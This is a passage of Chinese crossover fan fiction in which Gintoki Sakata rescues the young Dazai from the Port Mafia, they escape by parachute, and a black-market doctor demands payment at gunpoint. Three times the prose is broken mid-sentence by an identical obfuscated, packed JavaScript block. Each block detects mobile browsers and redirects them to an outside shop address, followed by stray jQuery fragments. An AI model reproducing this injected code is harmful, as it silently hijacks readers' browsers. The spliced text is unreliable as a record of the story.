爱丽丝身姿娇小轻盈,瞅准时机踩在洞爷湖的刀身上,迅速逼近坂田银时,坂田银时看破了她的动作,但沉重的身体已经跟不上他的大脑,左肩蓦地传来一阵尖锐的痛,他脸一白。
爱丽丝近在咫尺,这
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17410190|200654||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
时候他反击偷袭最容易得手,但坂田银时只是咬牙抓住了爱丽丝的手腕,坦坦荡荡地将她甩进了人群。
森鸥外目光沉沉,看不出情绪。
坂田银时脱力似的倚着墙,洞爷湖插在地板上支撑着他。脸上湿漉漉的,他分不清是汗水还是鲜血。
太宰治看得心情复杂,终于出声提醒:“那不是人类,只是异能幻化出来的形体。”
坂田银时没明白什么叫异能幻化的形体,但听懂了不是人类。
“哈?什么叫不是人类!混蛋,你不早说!”情绪一时激动扯到了伤口,他倒吸一口冷气,五官皱成一团,“疼疼疼......”
森鸥外觑了一眼老首领的表情,开口道:“太宰君,你这是决定彻底背叛组织了吗?”
太宰治脸上看不出一丝紧张和不安,他笑得纯良无辜,理所当然道:“怎么会?只是觉得单方面的攻击太无趣了。”
“观看舞台剧可是要收费的。”坂田银时还有心情说俏皮话,“没给钱的客人,可要小心了!”
坂田银时忽然发难,众人没来得及做出抵抗反应,被他冲了出来。
隔着人墙,太宰治和坂田银时在半空中对上视线,坂田银时喊道:“今天是个散步的好天气,要走吗!”
太宰治没回答,坂田银时一身伤,他自己能成功逃出去都不容易,更别说再带上他一起。
“很好,万事屋阿银接下这个委托了!”
太宰治表情诡异地扭曲了一下,他还是第一次见到比他还要自说自话的人。
坂田银时脚尖一拐,反身破开困住太宰治的人墙,在太宰治茫然诧异的目光里一把抓住他的胳膊把他对着空荡荡的窗户甩了出去。
坂田银时两步助跑紧随其后,扒着窗框飞身跳了下去。
港口Mafia的众人都看呆了,这里可是大楼的最顶层!
高空的冷风呼呼拍打在太宰治的脸上,灿烂的阳光照亮他发懵的表情。
太宰治:“......诶?”
5. jump漫画周刊
离地面几十米远的高空,两个小黑点正在迅速下坠。
太宰治看着越来越近的地面,内心的错愕转为了释怀。他放松身体,风灌进衣襟,有种临死前自由飞行一把的感觉。
强风把他的身体掀了个面,太宰治顺着风的力量翻身,蔚蓝色的天空倒映在他的鸢色眼瞳中。
世界残酷又美好。
如果能忽略掉离他没多远的吱哇怪叫的话。
“啊啊混蛋、为什么这个降落伞包这么难拆啊!这个组织怎么回事啊?为什么准备的逃生工具这么难用?是故意的吗?组织内讧?”坂田银时正在手忙脚乱地拆降落伞包。
太宰治:“......”
这人是什么时候顺来的降落伞包。
坂田银时:“喂,别看了,快告诉我这怎么拆?我可不是找死来的。”
太宰治:“看见那根细绳了吗?拉它。”
坂田银时看见了拉绳,在拉动之前对太宰治伸出手:“抓住我。”
太宰治的声音异常冷静:“这个降落伞包只能支撑一个人的重量,带不动我们两个人,所以你自己用吧。”
“叽里咕噜的说什么呢?既然万事屋已经接下了委托,就不会放弃。”
懒洋洋的死鱼眼此刻闪着坚定的光,仿佛能透过太宰治的眼底直达心脏。
太宰治鬼使神差地向上伸出了手。
有力的大手抓住了他,将他拉了上去。
坂田银时抓住细绳用力一拉,迷你的降落伞包瞬间展开,巨大的伞面包裹住风,坠落速度猛地减缓下来,重力撕扯身体,不可避免地扯到了坂田银时的左肩伤口,衣服上立刻泅出深红的血液。
太宰治忍不住看了一眼,他知道这一定很痛,但这个吊儿郎当的男人却只是皱了皱眉头,一声不吭地抗住了。
明明刚刚在上面痛得死鱼眼都瞪成杏圆眼了。
真是个奇怪的人。
降落伞如太宰治所说只能支撑一个人的重量,两个人还是太牵强了。他们的下落速度虽然减慢了不少,但仍然很快。
“抓紧我。”坂田银时快速丢出一句话,太宰治有一种不详的预感。
确认太宰治已经抓牢自己后,坂田银时就松开了右手,抽出腰间的洞爷湖,他不断调整身体姿势改变重心,牵引降落伞往港口Mafia的大楼靠拢。
太宰治向下瞥了一眼,距离地面大概还有不到二十米的距离,地上人惊愕的神情清晰可辨别。
几秒以后,到底是成功落地,还是变成一摊肉泥......
太宰治终于有点紧张起来,耳边砰砰砰的心跳声越来越快。
降落伞的伞面被大楼墙面挤压,接触风的面积变得更小了。
坂田银时一边咬牙感受着伤口处不断传来的撕裂感,一边浑身肌肉绷紧发力。他用全力将洞爷湖捅进墙体,水泥带来的阻塞感又强行将二人的下坠速度减了不少。
坂田银时痛得眼冒金星。
重力和惯性拽着洞爷湖把墙面向下又撕开几十公分,碎石窸窸窣窣地往下掉。
洞爷湖猛地脱出墙面,二人从有两层楼高的高处直直摔了下来,降落伞飘飘悠悠地盖在了他们身上。
太宰治摔得脑袋发懵,全身都钝钝的痛,脑海里拉起耳鸣。他躺在温暖的地面上望着港口Mafia大楼的最顶层,从没想过自己会以这种堪称雷霆的方式离开港口Mafia。
不远处的坂田银时扒掉身上的降落伞,摇摇晃晃地拄着洞爷湖走过来,挤进太宰治的视野。
四目相对。
坂田银时挑眉:“怎么样,阿银我说的没错吧?今天的太阳很舒服喔。”
太宰治累得不想说话。
重点是这个吗!
他可是被迫来了一场惊心动魄的“跳/楼”体验,差点变成水泥地上的一滩肉泥。不过......倒也还算有趣。
太宰治闷闷地笑了起来。
笑够了,太宰治爬起来,看向大楼的玻璃门,对坂田银时道:“快走吧,再过一会儿,他们就该追上来了。”
坂田银时人生地不熟,因此逃跑一直是太宰治在带路。
他们跑了很远的距离,藏在没什么人来的废旧公园。
生锈的儿童游乐设施安静地立在杂草丛生的公园中,人声车鸣都被隔在远处。
太宰治踩过杂草,在跷跷板的一端坐下。坂田银时坐到秋千上,终于能好好歇会儿,两人都筋疲力尽了。
太宰治放空大脑。港口Mafia对付叛徒一直都很冷酷,手段甚至可以说残忍,也许他过了今天就会被抓住杀死,但现
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17410191|200654||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在他太累了,也没有动力去思考自己的未来何去何从。
太宰治正发着呆,耳边响起了吸气声。他这才突然想起来坂田银时受了重伤,尤其是腹部中弹,也真亏得他能一直像个正常人一样行动。
太宰治光是想象自己中弹后还东跑西跳的就要痛得呲牙咧嘴,即便他自己没有中弹。
太宰治:“你中了枪伤,得赶紧治伤。”
坂田银时拉开和服外袍,从里面拿出一本厚得像砖头的漫画杂志。太宰治的目光落在上面,子弹堪堪贯穿漫画,弹头露在外面。
坂田银时揉了揉腹部,即便子弹没有打进体内,它爆发出来的冲击力也够人喝一壶的。
漫画杂志被子弹穿过的地方空荡荡。
“呀......”坂田银时发出唏嘘的声音,“这可是我才买到的最新周刊,还没来得及看呢,可惜这个世界没有jump漫画了。”
坂田银时把漫画递到太宰治面前,太宰治的注意力被漫画杂志上的“jump”字眼拉走。
他接过漫画,说:“这就是jump漫画吗?看起来跟这边世界的漫画没什么太大的区别。”
作为jump忠实粉丝的坂田银时听了不乐意了,“哈?那是你没看过《O珠》《海O王》、《O魂》!”
太宰治不置可否。
坂田银时从秋千上起身,一瘸一拐地越过太宰治往前走。
太宰治下意识问道:“你去哪里?”
坂田银时没回答,而是摆了摆手,说:“那本漫画就送你了。”
“你不要了吗?”
“早就说过我是来送漫画的,而且我也该从《周刊少年jump》毕业了。”坂田银时顿了顿,“记得昂首挺胸,认真注视前面的道路往下走,天气那么好,一直低着头就太浪费了不是吗?”
坂田银时一边说着一边渐渐走远。
太宰治笑眯眯地悠悠道:“想丢下我一个人逃跑吗?”
坂田银时的背影猛地一僵,回头嗔怪道:“哈、哈哈......你这孩子胡、胡说什么呢。”
“如果不是你忽然闯进来大闹一通,我现在应该在大楼里吹着暖气吃西瓜。”太宰治故作伤心,“我背叛了组织,已经无处可去。”
“......”坂田银时汗流浃背了。
6. 黑市上的店
仅仅是从港口Mafia大楼的豪华程度也能看出这个组织雄厚的实力,再加之其拥有众多成员,坂田银时清楚地明白这个组织不是一个简单的组织。
他只是不忍看一个才14岁的少年眼里透出死意,又恰好得知了森鸥外的暗杀计划,不想太宰治一步踏错,坠入难以脱身的泥沼,这才一时冲动决定阻止森鸥外的计划,把太宰治带了出来。
但一码归一码,他在这个陌生的世界孑然一身,既没有认识的人,也没有钱财。身上除了一把洞爷湖以外,就剩一本不值钱的jump漫画。所以他是没有办法带上太宰治的。
换句话说,他做不到让一个小孩跟着居无定所的他流浪。
坂田银时心里这么想,但语气故意放得刻薄又轻佻:“喂喂小鬼,你该不会是想跟着我混吧?你想想清楚,跟我混没饭吃、没薪水、也没有固定业务。”
“我还没来到这个世界的时候,每天就是帮阿婆找走丢的蠢猫,到商店看店,去人妖酒馆假扮人妖跳舞。别看万事屋什么委托都接好像很厉害的样子,其实赚的钱还不够我吃一杯草莓芭菲的。”
“还有啊,阿银我重度糖分依赖,还爱喝酒,喝到酩酊大醉扒着路灯呕吐,喜欢玩小钢珠,总是恶劣欠缴房租,存折常年都是零。”坂田银时一边疯狂输出,一边绞尽脑汁地想着贬低自己的话,“还有睡觉打呼、磨牙、说梦话......”
太宰治:“......”
坂田银时冥思苦想:“呃、还有经常便秘!”
太宰治:“?”
便秘在这个对话里的意义是......?
坂田银时看到了太宰治越来越一言难尽的表情,内心大喜,觉得劝退有望,连忙趁热打铁道:“我连自己都养不活,你跟着我既没有前途,也没有钱途,只会觉得人生无望。所以你就别在我这里浪费人生的大好时光了。我会把你安全送到这里的警察屯所,你好好长大。”
坂田银时舔了舔干燥的嘴皮,他说得喉咙都发干了。
他心想:我都说到这种地步了,稍微懂点眼色的也都该明白我的意思放弃了吧!
太宰治一本正经地沉吟片刻,满脸纯良地偏了偏脑袋,用仿佛是在谈论明天下不下雨似的轻松语气道:“我知道不少赚钱的路子。杀人越货、走/私、贩卖/人口,来钱都很快,你想选哪一个?”
坂田银时大为震撼:“停停停!”
“我说你倒是读一下空气啊混蛋!不要一脸平静自然地说出这么可怕的话啊!”
太宰治摸着下巴思索片刻,似乎把坂田银时的吐槽听进耳朵里了。
他谨慎地看了看周围,摆出一副十分凝重的模样,凑近坂田银时压低声音道:“我知道不少赚钱的路子。杀人越货、走——”
坂田银时:“喂!!——不是让你换个表情再重复一遍啊!”
太宰治用眼神谴责坂田银时:你好麻烦。
坂田银时:“......”有点想揍人是怎么回事?
“阿治君,刚刚那些赚钱的方法都是犯罪,是不对的喔。”坂田银时深吸一口气把语气放柔,一双死鱼眼强行挤出一点笑颜,瞧上去反而显得满脸奸诈,“我平时虽然不干正经事,但也还是想做个好人的。”
太宰治瞅着坂田银时此刻的表情,真是太没有说服力了。
坂田银时一直在忍着流血的伤口,失血过多令他眼前出现了模糊的黑块。他看了看四周:“我先送你去警察屯所吧。”
太宰治:“前几天港口Mafia的人大摇大摆地走进警署投放了炸弹。”
坂田银时:“然后失败被捕了?”
太宰治无情打破他的期待:“成功了,警署死伤惨重。”
坂田银时:“......”
“你组织的老板下手可真狠啊,来帮那群税金小偷提前退休吗混蛋!倒是让他们多为市民出力干活啊!本来警察屯所就废,这下是真的跟我的存折一样一蹶不振了啊。”他听得两眼发黑,生无可恋,真想就这样倒头就昏过去。
太宰治纠正道:“现在应该是前组织的老板了。”
坂田银时一口气哽在嗓子里差点上不来。
太宰治抢过主动权,说:“不如先去把你的伤处理一下吧,再不处理你的血都要流干了。”
坂田银时无奈,只好暂时先放下话题。
......
太宰治待在港口Mafia的时候认识几个黑市的人。
他带着坂田银时来到一个隐秘又混乱的老旧街道,坂田银时不动声色地观察着四周,自从踏入这条街道,他就感受到有数道打量的目光注视着自己,那些视线如同不见天日的地下一般潮湿和阴暗。
他暗自绷紧肌肉,提高警惕。
太宰治走进一条光线黯淡的小巷,见怪不怪道:“别担心,那些藏在暗处的目光不会做什么的,他们不会自找麻烦。”
至少现在是。
他推开藏在角落的一扇门走了进去,坂田银时眯眼打量,不细看的话压根发现不了这个地方还藏着一扇门。
门后是现代化的装潢、先进的医疗设备和器具,和外头破旧的街道大相径庭。
太宰治跟人打了个招呼,让坂田银时到里面坐好,坂田银时竖起耳朵听两个人简短地说了两句话,那人戴着口罩,说的话都含糊在口罩下,他听得并不清楚。
不一会儿那人去拿了医药箱回来。
黑市的医生不会没眼色地打听来这里治伤病的患者的事情,毕竟患者都来黑市了,身上多少都会背着一些不为人知的秘密。医生在这里也不靠贩卖情报吃饭,知道的秘密越少反而越安全。
黑市的人做事唯一原则就是钱。只要钱给到位,不论什么问题都不算问题。
处理刀伤枪伤对于黑市医生来说是家常便饭,得心应手。
医生只粗略扫了一眼,就知道伤情不像外表看上去那样严重。这倒是让他多瞧了一眼坂田银时,语气带上几分欣赏:“你身手很好啊,有两道伤口稍微深一点,但都避开了致命点,其他伤口都是擦伤的程度。”
坂田银时不以为意地敷衍:“可能今天狗屎运不错吧。”
医生给坂田银时的伤口做了清创,仔细包扎好,结束后,裸露在口罩外的眼睛不住地在坂田银时的上半身上转悠。
看得坂田银时心里直发毛:“是有什么问题吗?”
“唔?哦,没有问题。”医生回得心不在焉,一双眼睛仿佛粘在了坂田银时的身上,“这副身体练得真不错,肌肉匀称分布,没有一丝赘肉,就是疤痕有点多,但问题不大。”
“谢谢夸
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17410192|200654||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
奖,但阿银我可不卖身体喔。”坂田银时皮笑肉不笑地回道。
被黑市医生夸赞身体不错,只有两个可能。医生自己喜欢,或者货物的成色很好。
这两个他都敬谢不敏!
对于坂田银时的话,医生不以为意地笑笑,意味深长道:“那也不好说,谁都会有走投无路的时候。”
坂田银时被这话听得头皮都要炸开,忙不迭扯过衣服赶快穿好。
医生收拾好药品和器材,走出去对太宰治道:“一千万日元,现金还是刷卡?”
太宰治笑:“医生说笑了,一千万日元如果是现金,显眼又不好携带,恐怕在踏入这条街道的时候就会被洗劫一空。”
医生也笑:“哈哈,是我忘了,这里可不像外面有治安保障。”
坂田银时走出来,医生的目光在二人之间来回移动,客气开口:“那么你们......谁付钱?”
坂田银时:“......”
他兜里没有一分钱,你说谁付钱?
坂田银时看向太宰治,太宰治双手插兜回以一个无辜的眼神。
坂田银时强笑道:“请问多少钱呢?”
医生微笑:“一千万。”
坂田银时难以置信:“哈???一千万?!黑店吗!”
医生微笑挑眉:“客人是拿不出这笔钱吗?”
坂田银时感受到了笑容下的强烈杀气,内心深切意识到,如果此刻他回答没钱,那么下一刻一定会被恐怖的杀气片成肉片。
坂田银时紧张地吞咽了一下,对医生露出一个稍显谄媚的笑脸:“那个医生......我这里有一本这个世界上独一无二的jump周刊,绝无仅有!绝对(收藏)价值连城!”
太宰治不高兴,抗议道:“你把它送我了,那已经是我的东西了。”
“去去。”坂田银时随手打发太宰治,转向医生,“不好意思啊,孩子不太懂事。”
医生微笑地看着坂田银时不说话。
坂田银时搓手笑道:“您看是不是可以抵押......”
刹那间医生脸上的微笑不复存在,目露凶光,他从白大褂下利索地掏出枪。
坂田银时退到太宰治身边,口中快速道:“等等等等!有话好商量!”
“商量?”医生冷笑一声,“倒也不是不行,我评估客人的身体倒是可以值这个价。”
坂田银时勃然大怒:“评估得太便宜了吧!怎么也得两千万啊,小瞧我吗混蛋!”
医生:“......”
太宰治跟茬举起手喊道:“出价三千万!”
“......”医生脑门上青筋跳动,忍无可忍,“你们够了!当这里是拍卖会吗!”
医生胸膛剧烈起伏两下,他平复刚刚被气到失态的表情,面无表情地冷哼一声:“从来没人能从我这里赊账离开,掏不出钱就留下命来!”
子弹上膛的咔哒声令坂田银时脑海中警铃大作,他转身就要叫太宰治快跑,结果回头时震惊地发现前一秒还站在身后的少年早就没了影子。
眨眼间,太宰治已经窜到了几米外,甚至还有余裕回头催他:“快快快!”
坂田银时:“喂!!你这混蛋,跑路的时候倒是叫上我啊!”
“一个都别想跑!”